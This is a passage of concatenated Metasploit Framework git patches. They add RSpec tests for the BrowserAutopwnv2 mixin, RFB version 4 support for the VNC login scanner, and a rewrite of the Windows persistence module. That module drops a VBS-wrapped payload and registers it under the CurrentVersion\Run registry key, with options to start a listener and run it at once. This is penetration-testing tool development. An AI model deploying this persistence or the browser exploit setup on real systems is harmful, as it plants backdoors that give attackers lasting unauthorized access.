+ end end describe '#is_multi_platform_exploit?' do + context 'when a windows exploit is given' do + it 'returns false' do + windows_exploit = create_fake_ms14_064 + expect(subject.is_multi_platform_exploit?(windows_exploit)).to be_falsey + end + end + + context 'when a multi-platform flash exploit is given' do + it 'returns true' do + flash_exploit = create_fake_flash_net_connection_confusion + expect(subject.is_multi_platform_exploit?(flash_exploit)).to be_truthy + end + end end describe '#select_payload' do end describe '#start_exploits' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@exploit_job_ids, []) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + end + + it 'returns job IDs of the exploits started' do + subject.start_exploits + available_exploits.each do |x| + expect(subject.instance_variable_get(:@exploit_job_ids)).to include(x.job_id) + end + end end describe '#show_ready_exploits' do @@ -508,9 +674,24 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end describe '#get_suitable_exploits' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + allow(subject).to receive(:retrieve_tag) + allow(subject).to receive(:get_profile_info) + end end describe '#log_click' do + let(:ip) { '192.168.1.123' } + + context 'when a link is clicked' do + it 'reports a bap.clicks note' do + subject.log_click(ip) + expect(subject.framework.db.notes.first.ntype).to eq('bap.clicks') + end + end end describe '#show_real_list' do @@ -529,6 +710,9 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end describe '#get_custom_404_url' do + it 'returns a custom 404' do + expect(subject.get_custom_404_url).to eq(autopwn_datastore_options['Custom404']) + end end describe '#build_html' do From a3debe16212ee9274109105fe995185225c134aa Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 17 Jun 2015 13:57:06 +0100 Subject: [PATCH 0436/1013] persistence - more options, more verbose ...and less bugs! + Able to define the EXE payload filename + Able to setup a handler job + Able to execute persistence payload after installing + Performs various checks (should be more stable now) + Will display various warnings if your doing something 'different' + Added various verbose messages during the process --- modules/exploits/windows/local/persistence.rb | 328 +++++++++++++----- 1 file changed, 236 insertions(+), 92 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index bd04998af2..5747da35d4 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -22,12 +22,11 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Manage Persistent Payload Installer', + 'Name' => 'Windows Persistent Registry Startup Payload Installer', 'Description' => %q{ - This Module will create a boot persistent reverse Meterpreter session by - installing on the target host the payload as a script that will be executed - at user logon or system startup depending on privilege and selected startup - method. + This module will install a payload that is executed during boot. + It will be executed either at user logon or system startup via the registry + value in "CurrentVersion\Run" (depending on privilege and selected method). }, 'License' => MSF_LICENSE, 'Author' => @@ -38,50 +37,117 @@ class Metasploit3 < Msf::Exploit::Local 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, - 'DisclosureDate'=> "Oct 19 2011" + 'DisclosureDate'=> "Oct 19 2011", + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'true', + } )) register_options( [ - OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]), - OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), - OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]), - OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), - OptString.new('PATH',[false, 'Path to write payload']), + OptInt.new('DELAY', + [true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]), + OptEnum.new('STARTUP', + [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), + OptString.new('VBS_NAME', + [false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]), + OptString.new('EXE_NAME', + [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), + OptString.new('REG_NAME', + [false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]), + OptString.new('PATH', + [false, 'Path to write payload (%TEMP% by default).', nil]), + ], self.class) + + register_advanced_options([ + OptBool.new('HANDLER', + [ false, 'Start an exploit/multi/handler job to receive the connection', false]), + OptBool.new('EXEC_AFTER', + [ false, 'Execute persistent script after installing.', false]) ], self.class) end - # Exploit Method for when exploit command is issued + # Exploit method for when exploit command is issued def exploit - print_status("Running module against #{sysinfo['Computer']}") + print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") - rexename = datastore['REXENAME'] - delay = datastore['DELAY'] - reg_val = datastore['REG_NAME'] + # Define default values + rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + delay = datastore['DELAY'] || 10 + exc_after = datastore['EXEC_AFTER'] || false + handler = datastore['HANDLER'] || false @clean_up_rc = "" - host,port = session.session_host, session.session_port - exe = generate_payload_exe - script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay}) - script_on_target = write_script_to_target(script, rexename) + rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4,4] != '.vbs' + rexe_name = rexe_name + '.exe' if rexe_name[-4,4] != '.exe' - # exit the module because we failed to write the file on the target host. - return unless script_on_target - - # Initial execution of script - - case datastore['STARTUP'] - when 'USER' - # if we could not write the entry in the registy we exit the module. - return unless write_to_reg("HKCU", script_on_target, reg_val) - when 'SYSTEM' - # if we could not write the entry in the registy we exit the module. - return unless write_to_reg("HKLM", script_on_target, reg_val) + # Connect to the session + begin + host, port = session.session_host, session.session_port + rescue => e + print_error("Could not connect to session") + return nil end + # Check values + if (is_system?) && (datastore['STARTUP'] == 'USER') + print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!') + end + + if (handler) && (!datastore['DisablePayloadHandler']) + # DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards! + print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...") + print_warning("Disabling HANDLER...") + handler = false + end + + # Generate the exe payload + print_status("Generating EXE payload (#{rexe_name})") if datastore['VERBOSE'] + exe = generate_payload_exe + # Generate the vbs payload + print_status("Generating VBS persistent script (#{rvbs_name})") if datastore['VERBOSE'] + vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay, :exe_filename => rexe_name}) + # Writing the payload to target + print_status("Writing payload inside the VBS script on the target") if datastore['VERBOSE'] + script_on_target = write_script_to_target(vbsscript, rvbs_name) + + # Exit the module because we failed to write the file on the target host + # Feedback has already been given to the user, via the function. + return unless script_on_target + + # Initial execution of persistent script + case datastore['STARTUP'] + when 'USER' + # If we could not write the entry in the registy we exit the module. + return unless write_to_reg("HKCU", script_on_target, reg_val) + print_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on") if datastore['VERBOSE'] + when 'SYSTEM' + # If we could not write the entry in the registy we exit the module. + return unless write_to_reg("HKLM", script_on_target, reg_val) + print_status("Payload will execute at the next SYSTEM startup") if datastore['VERBOSE'] + else + print_error("Something went wrong. Invalid STARTUP method: #{datastore['STARTUP']}") + return nil + end + + # Do we setup a exploit/multi/handler job? + if handler + listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD']) + if listener_job_id.blank? + print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.") + end + end + + # Do we execute the VBS script afterwards? + target_exec(script_on_target) if datastore['EXEC_AFTER'] + + # Create 'clean up' resource file clean_rc = log_file() file_local_write(clean_rc, @clean_up_rc) - print_status("Cleanup Meterpreter RC File: #{clean_rc}") + print_status("Clean up Meterpreter .RC file: #{clean_rc}") report_note(:host => host, :type => "host.persistance.cleanup", @@ -98,9 +164,144 @@ class Metasploit3 < Msf::Exploit::Local ) end + # Writes script to target host and returns the pathname of the target file or nil if the + # file could not be written. + def write_script_to_target(vbs, name) + filename = name || Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" + temppath = datastore['PATH'] || session.sys.config.getenv('TEMP') + filepath = temppath + "\\" + filename + + if !directory? temppath + print_error("#{temppath} does not exists on the target") + return nil + end + + if file? filepath + print_warning("#{filepath} already exists on the target. Deleting...") + begin + file_rm(filepath) + print_good("Deleted #{filepath}") + rescue + print_error("Unable to delete file!") + end + end + + begin + write_file(filepath, vbs) + print_good("Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}") + + # Escape windows pathname separators. + @clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n" + rescue + print_error("Could not write the payload on the target") + # Return nil since we could not write the file on the target + filepath = nil + end + + return filepath + end + + # Installs payload in to the registry HKLM or HKCU + def write_to_reg(key, script_on_target, registry_value) + regsuccess = true + nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8) + key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + + print_status("Installing as #{key_path}\\#{nam}") + + if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ") + print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}") + else + print_error("Failed to make entry in the registry for persistence") + regsuccess = false + end + + return regsuccess + end + + + # Executes script on target and returns true if it was successfully started + def target_exec(script_on_target) + execsuccess = true + print_status("Executing script #{script_on_target}") + # Lets give the target a few seconds to catch up... + sleep(3) + + # Error handling for process.execute() can throw a RequestError in send_request. + begin + unless datastore['EXE::Custom'] + session.shell_command_token(script_on_target) + else + session.shell_command_token("cscript \"#{script_on_target}\"") + end + rescue + print_error("Failed to execute payload on target") + execsuccess = false + end + + return execsuccess + end + + # Starts a exploit/multi/handler session + def create_multihandler(lhost, lport, payload_name) + pay = client.framework.payloads.create(payload_name) + pay.datastore['LHOST'] = lhost + pay.datastore['LPORT'] = lport + print_status('Starting exploit/multi/handler') + if !check_for_listener(lhost, lport) + # Set options for module + mh = client.framework.exploits.create('multi/handler') + mh.share_datastore(pay.datastore) + mh.datastore['WORKSPACE'] = client.workspace + mh.datastore['PAYLOAD'] = payload_name + mh.datastore['EXITFUNC'] = 'thread' + mh.datastore['ExitOnSession'] = true + # Validate module options + mh.options.validate(mh.datastore) + # Execute showing output + mh.exploit_simple( + 'Payload' => mh.datastore['PAYLOAD'], + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'RunAsJob' => true + ) + + # Check to make sure that the handler is actually valid + # If another process has the port open, then the handler will fail + # but it takes a few seconds to do so. The module needs to give + # the handler time to fail or the resulting connections from the + # target could end up on on a different handler with the wrong payload + # or dropped entirely. + select(nil, nil, nil, 5) + return nil if framework.jobs[mh.job_id.to_s].nil? + + return mh.job_id.to_s + else + print_error('A job is listening on the same local port') + return nil + end + end + + # Method for checking if a listener for a given IP and port is present + # will return true if a conflict exists and false if none is found + def check_for_listener(lhost, lport) + client.framework.jobs.each do |k, j| + if j.name =~ / multi\/handler/ + current_id = j.jid + current_lhost = j.ctx[0].datastore['LHOST'] + current_lport = j.ctx[0].datastore['LPORT'] + if lhost == current_lhost && lport == current_lport.to_i + print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") + return true + end + end + end + return false + end + # Function for creating log folder and returning log path def log_file(log_path = nil) - #Get hostname + # Get hostname host = session.sys.config.sysinfo["Computer"] # Create Filename info to be appended to downloaded files @@ -118,66 +319,9 @@ class Metasploit3 < Msf::Exploit::Local # Create the log directory ::FileUtils.mkdir_p(logs) - #logfile name + # logfile name logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" return logfile end - # Writes script to target host and returns the pathname of the target file or nil if the - # file could not be written. - def write_script_to_target(vbs, name) - tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP') - unless name - tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" - else - tempvbs = tempdir + "\\" + name + ".vbs" - end - begin - write_file(tempvbs, vbs) - print_good("Persistent Script written to #{tempvbs}") - # Escape windows pathname separators. - @clean_up_rc << "rm #{tempvbs.gsub(/\\/, '//')}\n" - rescue - print_error("Could not write the payload on the target hosts.") - # return nil since we could not write the file on the target host. - tempvbs = nil - end - return tempvbs - end - - # Executes script on target and returns true if it was successfully started - def target_exec(script_on_target) - execsuccess = true - print_status("Executing script #{script_on_target}") - # error handling for process.execute() can throw a RequestError in send_request. - begin - unless datastore['EXE::Custom'] - session.shell_command_token(script_on_target) - else - session.shell_command_token("cscript \"#{script_on_target}\"") - end - rescue - print_error("Failed to execute payload on target host.") - execsuccess = false - end - return execsuccess - end - - # Installs payload in to the registry HKLM or HKCU - def write_to_reg(key, script_on_target, registry_value) - nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8) - key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" - - print_status("Installing into autorun as #{key_path}\\#{nam}") - - if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ") - print_good("Installed into autorun as #{key_path}\\#{nam}") - return true - else - print_error("Failed to make entry in the registry for persistence.") - end - - false - end - end From 772a5dd7dfd878c7dc36b1203db69f5bcab4ce11 Mon Sep 17 00:00:00 2001 From: Th3R3p0 Date: Wed, 17 Jun 2015 12:31:51 -0400 Subject: [PATCH 0437/1013] Created array and added support for version 4 --- lib/rex/proto/rfb/constants.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/rfb/constants.rb b/lib/rex/proto/rfb/constants.rb index 51bc88ec0b..4f01ee24a2 100644 --- a/lib/rex/proto/rfb/constants.rb +++ b/lib/rex/proto/rfb/constants.rb @@ -19,7 +19,9 @@ module RFB DefaultPort = 5900 # Version information -MajorVersion = 3 +# Created array and added support for version 4. aux/scanner/vnc/vnc_login +# was confirmed to work with version 004.001 +MajorVersions = [3,4] # NOTE: We will emulate whatever minor version the server reports. # Security types From e30b0e0cda3e8edb65a04b57d7fa0998126f76f7 Mon Sep 17 00:00:00 2001 From: Th3R3p0 Date: Wed, 17 Jun 2015 12:57:24 -0400 Subject: [PATCH 0438/1013] forced client to version 3 for servers and added comments. This adds support for RFB version 4 servers. Tested on 004.001 --- lib/rex/proto/rfb/client.rb | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/lib/rex/proto/rfb/client.rb b/lib/rex/proto/rfb/client.rb index b80247db8d..7aa2c8671f 100644 --- a/lib/rex/proto/rfb/client.rb +++ b/lib/rex/proto/rfb/client.rb @@ -24,7 +24,7 @@ class Client @opts = opts @banner = nil - @majver = MajorVersion + @majver = MajorVersions @minver = -1 @auth_types = [] end @@ -50,7 +50,7 @@ class Client if @banner =~ /RFB ([0-9]{3})\.([0-9]{3})/ maj = $1.to_i - if maj != MajorVersion + unless MajorVersions.include?(maj) @error = "Invalid major version number: #{maj}" return false end @@ -61,8 +61,15 @@ class Client @minver = $2.to_i - our_ver = "RFB %03d.%03d\n" % [MajorVersion, @minver] - @sock.put(our_ver) + # Forces client version 3 to be used. This adds support + # version 4 servers. + # It may be necessary to hardcode a miniver as well + # to do: add support for Version 4. Version 4 client + # adds additional information to the packet regarding + # supported authentication types. + our_ver = "RFB %03d.%03d\n" % [3, @minver] + puts our_ver + @sock.put(our_ver) true end From a6c7f93bbeb4794580c84955f65c10139ddebd54 Mon Sep 17 00:00:00 2001 From: Th3R3p0 Date: Wed, 17 Jun 2015 13:09:03 -0400 Subject: [PATCH 0439/1013] changed text to show support for RFB version 4.001 --- modules/auxiliary/scanner/vnc/vnc_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 7e5f1af773..840fed4561 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module will test a VNC server on a range of machines and report successful logins. Currently it supports RFB protocol - version 3.3, 3.7, and 3.8 using the VNC challenge response + version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge response authentication method. }, 'Author' => From 8ea09532c835c945c0c9186eff3b0ef0427122a6 Mon Sep 17 00:00:00 2001 From: Th3R3p0 Date: Wed, 17 Jun 2015 13:13:00 -0400 Subject: [PATCH 0440/1013] removed a debugging line --- lib/rex/proto/rfb/client.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/rex/proto/rfb/client.rb b/lib/rex/proto/rfb/client.rb index 7aa2c8671f..44251aaf55 100644 --- a/lib/rex/proto/rfb/client.rb +++ b/lib/rex/proto/rfb/client.rb @@ -62,14 +62,13 @@ class Client @minver = $2.to_i # Forces client version 3 to be used. This adds support - # version 4 servers. + # for version 4 servers. # It may be necessary to hardcode a miniver as well # to do: add support for Version 4. Version 4 client # adds additional information to the packet regarding # supported authentication types. our_ver = "RFB %03d.%03d\n" % [3, @minver] - puts our_ver - @sock.put(our_ver) + @sock.put(our_ver) true end From 5fa864b09776cb888741c69a1977a5deee249617 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 17 Jun 2015 16:23:39 -0500 Subject: [PATCH 0441/1013] done with rspec --- lib/msf/core/exploit/browser_autopwnv2.rb | 4 +- .../core/exploit/browser_autopwnv2_spec.rb | 212 +++++++++++++++--- 2 files changed, 178 insertions(+), 38 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 866e78d6e1..6363c3e759 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -182,7 +182,7 @@ module Msf taken = false bap_exploits.each do |m| - return true if m.datastore['URI'] == resource + return true if m.datastore['URIPATH'] == resource end taken @@ -558,9 +558,9 @@ module Msf DEFAULT_PAYLOADS.keys.each do |platform| payload_name = get_selected_payload_name(platform) p = framework.payloads.create(payload_name) + next unless p p.datastore['LHOST'] = get_payload_lhost p.datastore['LPORT'] = get_selected_payload_lport(platform) - next unless p p_opt = Serializer::ReadableText.dump_options(p, ' ') print("\nPayload options (#{payload_name}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) end diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index 8d0ea39a78..1d003816f6 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -25,7 +25,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(subject).to receive(:framework).and_return(framework) end - def mock_report_note(arg) framework = double('Msf::Framework', datastore: {}) notes = [create_fake_note('bap.clicks')] @@ -59,6 +58,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do def create_fake_exploit(opts={}) full_name = opts[:full_name] + short_name = opts[:short_name] rank = opts[:rank] || 400 disclosure_date = opts[:disclosure_date] || 'Dec 21 2014' compat_payloads = opts[:compat_payloads] || [] @@ -76,6 +76,9 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(mod).to receive(:datastore).and_return(datastore_options) allow(mod).to receive(:job_id).and_return(job_id) allow(mod).to receive(:exploit_simple) + allow(mod).to receive(:vprint_status) + allow(mod).to receive(:shortname).and_return(short_name) + mod.instance_variable_set(:@requirements, requirements) mod end @@ -87,10 +90,11 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do create_fake_exploit( full_name: 'windows/browser/ms14_064_ole_code_execution', + short_name: 'ms14_064_ole_code_execution', rank: 600, disclosure_date: 'Nov 13 2014', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/ms14_064'}, + datastore_options: {'URIPATH'=>'/ms14_64'}, job_id: 0, requirements: {os_name: windows_81_regex} ) @@ -104,12 +108,13 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do create_fake_exploit( full_name: 'multi/browser/adobe_flash_net_connection_confusion', + short_name: 'adobe_flash_net_connection_confusion', rank: 500, disclosure_date: 'Mar 12 2015', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/flash1'}, + datastore_options: {'URIPATH'=>'/flash1'}, job_id: 1, - requirements: {os_name: windows_81_regex} + requirements: {os_name: lambda { |ver| ver == '16.0.0.305' }} ) end @@ -118,12 +123,13 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do create_fake_exploit( full_name: 'multi/browser/adobe_flash_uncompress_zlib_uaf', + short_name: 'adobe_flash_uncompress_zlib_uaf', rank: 500, disclosure_date: 'Apr 28 2014', compat_payloads: compat_payloads, - datastore_options: {'URI'=>'/flash2'}, + datastore_options: {'URIPATH'=>'/flash2'}, job_id: 2, - requirements: {os_name: windows_81_regex} + requirements: {os_name: lambda { |ver| ver == '16.0.0.287' }} ) end @@ -175,6 +181,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end def mock_payload_create(full_name) + full_name.gsub!(/^firefox/, 'generic') available_payloads.each do |p| return p if p.fullname == full_name end @@ -202,6 +209,16 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do /^(?:Microsoft )?Windows 8\.1/ end + let(:job_ids) do + ids = [] + + subject.framework.jobs.each do |job| + ids << job.first.to_i + end + + ids + end + let(:available_exploits) do @exploits ||= lambda { exploits = [] @@ -241,6 +258,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do 'SRVPORT' => 8080, 'MaxExploits' => 20, 'LHOST' => '127.0.0.1', + 'SSL' => false, 'MaxSessions' => -1, 'Custom404' => 'http://example.com', 'PAYLOAD_ANDROID' => 'android/meterpreter/reverse_tcp', @@ -292,6 +310,17 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do MessagePack.unpack(profile_packed_data).keys.first.split('.')[0,3] * "." end + let(:cli) do + c = double('cli') + allow(c).to receive(:peerhost).and_return('127.0.0.1') + c + end + + let(:cli_req) do + req = Rex::Proto::Http::Request.new + req.headers['Cookie'] = "__ua=#{profile_tag}" + req + end before(:each) do framework = double('Msf::Framework', datastore: {}) @@ -325,6 +354,8 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do allow(payloads).to receive(:create) { |arg| mock_payload_create(arg) } allow(framework).to receive(:payloads).and_return(payloads) + allow_any_instance_of(described_class).to receive(:cli).and_return(cli) + allow_any_instance_of(described_class).to receive(:framework).and_return(framework) allow_any_instance_of(described_class).to receive(:report_note) { |arg| mock_report_note(arg) } end @@ -378,16 +409,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end context 'when removing jobs' do - let(:job_ids) do - ids = [] - - subject.framework.jobs.each do |job| - ids << job.first.to_i - end - - ids - end - describe '#rm_exploit_jobs' do before(:each) do subject.instance_variable_set(:@exploit_job_ids, job_ids) @@ -401,11 +422,8 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end describe '#rm_payload_jobs' do - before(:each) do - subject.instance_variable_set(:@payload_job_ids, job_ids) - end - it 'empties jobs' do + subject.instance_variable_set(:@payload_job_ids, job_ids) expect(subject.framework.jobs.length).to eq(1) subject.rm_payload_jobs expect(subject.framework.jobs).to be_empty @@ -661,16 +679,88 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#show_ready_exploits' do - end + describe 'when outputing' do - describe '#start_service' do - end + # Get stdout: + # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec + def get_stdout(&block) + out = $stdout + $stdout = fake = StringIO.new + begin + yield + ensure + $stdout = out + end + fake.string + end - describe '#show_payloads' do - end + before(:each) do + allow(subject).to receive(:print_status) { |arg| $stdout.puts arg } + allow(subject).to receive(:print_line) { |arg| $stdout.puts arg } + allow(subject).to receive(:print) { |arg| $stdout.puts arg } + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + end - describe '#set_payload' do + describe '#show_ready_exploits' do + + let(:output) { get_stdout { subject.show_ready_exploits } } + + context 'when there is ms14_064_ole_code_execution available' do + it 'shows ms14_064_ole_code_execution on the table' do + expect(output).to include('ms14_064_ole_code_execution') + end + end + + context 'when there is adobe_flash_uncompress_zlib_uaf available' do + it 'shows adobe_flash_uncompress_zlib_uaf' do + expect(output).to include('adobe_flash_uncompress_zlib_uaf') + end + end + + context 'when there is adobe_flash_net_connection_confusion available' do + it 'shows adobe_flash_net_connection_confusion' do + expect(output).to include('adobe_flash_net_connection_confusion') + end + end + end + + skip '#start_service' do + # You got me, I don't know how to implement this one because the super" + end + + describe '#show_payloads' do + it 'shows payloads' do + output = get_stdout { subject.show_payloads } + expect(output).to include(windows_meterpreter_reverse_tcp) + expect(output).to include(linux_meterpreter_reverse_tcp) + end + end + + describe '#show_real_list' do + before(:each) do + allow(subject).to receive(:set_exploit_options) + subject.instance_variable_set(:@bap_exploits, []) + subject.init_exploits + allow(subject).to receive(:retrieve_tag) + unpacked_profile = MessagePack.unpack(profile_packed_data) + allow(subject).to receive(:get_profile_info).and_return(unpacked_profile) + end + + it 'shows exploits' do + suitable_exploits = subject.get_suitable_exploits(cli, cli_req) + output = get_stdout { subject.show_real_list('127.0.0.1', profile_tag, suitable_exploits) } + expect(output).to include('ms14_064_ole_code_execution') + end + end + + describe '#set_payload' do + it 'shows set_payload' do + output = get_stdout { subject.set_payload } + expect(output).to include('\'set payload\' has been disabled for BrowserAutoPwn') + end + end end describe '#get_suitable_exploits' do @@ -679,7 +769,16 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do subject.instance_variable_set(:@bap_exploits, []) subject.init_exploits allow(subject).to receive(:retrieve_tag) - allow(subject).to receive(:get_profile_info) + unpacked_profile = MessagePack.unpack(profile_packed_data) + allow(subject).to receive(:get_profile_info).and_return(unpacked_profile) + end + + context 'when client is Windows' do + it 'returns ms14_064' do + suitable_exploits = subject.get_suitable_exploits(cli, cli_req) + expect(suitable_exploits.length).to eq(1) + expect(suitable_exploits.first.fullname).to eq('windows/browser/ms14_064_ole_code_execution') + end end end @@ -694,19 +793,32 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#show_real_list' do - end - describe '#get_exploit_urls' do - end - - describe '#on_request_uri' do + context 'when ms14_064 is on the list' do + it 'returns the URL for ms14_064' do + ms14_064 = create_fake_ms14_064 + allow(subject).to receive(:get_suitable_exploits).and_return([ms14_064]) + expect(subject.get_exploit_urls(cli, cli_req).first).to include(ms14_064.datastore['URIPATH']) + end + end end describe '#is_ip_targeted?' do - end + let(:ip) { '1.2.3.4' } - describe '#session_count' do + context 'when IP 1.2.3.4 is on the whitelist' do + it 'returns true' do + subject.instance_variable_set(:@whitelist, [ip]) + expect(subject.is_ip_targeted?(ip)).to be_truthy + end + end + + context 'when IP 1.2.3.4 is not on the whitelist' do + it 'returns false' do + subject.instance_variable_set(:@whitelist, []) + expect(subject.is_ip_targeted?(ip)).to be_falsey + end + end end describe '#get_custom_404_url' do @@ -716,6 +828,34 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end describe '#build_html' do + before(:each) do + ms14_064 = create_fake_ms14_064 + allow(subject).to receive(:get_suitable_exploits).and_return([ms14_064]) + url_list = subject.get_exploit_urls(cli, cli_req) + allow(subject).to receive(:get_exploit_urls).and_return(url_list) + end + + let(:html) do + subject.build_html(cli, cli_req) + end + + context 'it returns javascript functions' do + it 'contains the setElementStyle function' do + expect(html).to match(/function setElementStyle/) + end + + it 'contains the moveIframe function' do + expect(html).to match(/function moveIframe/) + end + + it 'contains the onload function' do + expect(html).to match(/window\.onload = function/) + end + + it 'contains the loadExploit function' do + expect(html).to match(/function loadExploit/) + end + end end end \ No newline at end of file From e549580ad25c84176486794c7881db1d76b777b2 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Jun 2015 00:40:47 -0500 Subject: [PATCH 0442/1013] Linux doesn't like the uppercase --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- lib/msf/core/exploit/remote/browser_profile_manager.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 6363c3e759..31ac710b3f 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -6,7 +6,7 @@ # ### -require 'Date' +require 'date' module Msf module Exploit::Remote::BrowserAutopwnv2 diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index c834d4a5a4..5e571ec6fe 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -1,4 +1,4 @@ -require 'Msgpack' +require 'msgpack' module Msf module Exploit::Remote::BrowserProfileManager From ce9481d2b717c53cf9f32a18fab9110e258c5459 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 18 Jun 2015 09:27:01 +0100 Subject: [PATCH 0443/1013] Inconstancy - If datastore['VERBOSE'] vs vprint --- lib/msf/core/exploit/dhcp.rb | 4 +-- lib/msf/core/exploit/tftp.rb | 4 +-- modules/auxiliary/spoof/replay/pcap_replay.rb | 2 +- .../multi/http/jboss_invoke_deploy.rb | 6 ++--- .../post/multi/manage/shell_to_meterpreter.rb | 26 +++++++++---------- .../windows/gather/credentials/spark_im.rb | 2 +- 6 files changed, 22 insertions(+), 22 deletions(-) diff --git a/lib/msf/core/exploit/dhcp.rb b/lib/msf/core/exploit/dhcp.rb index 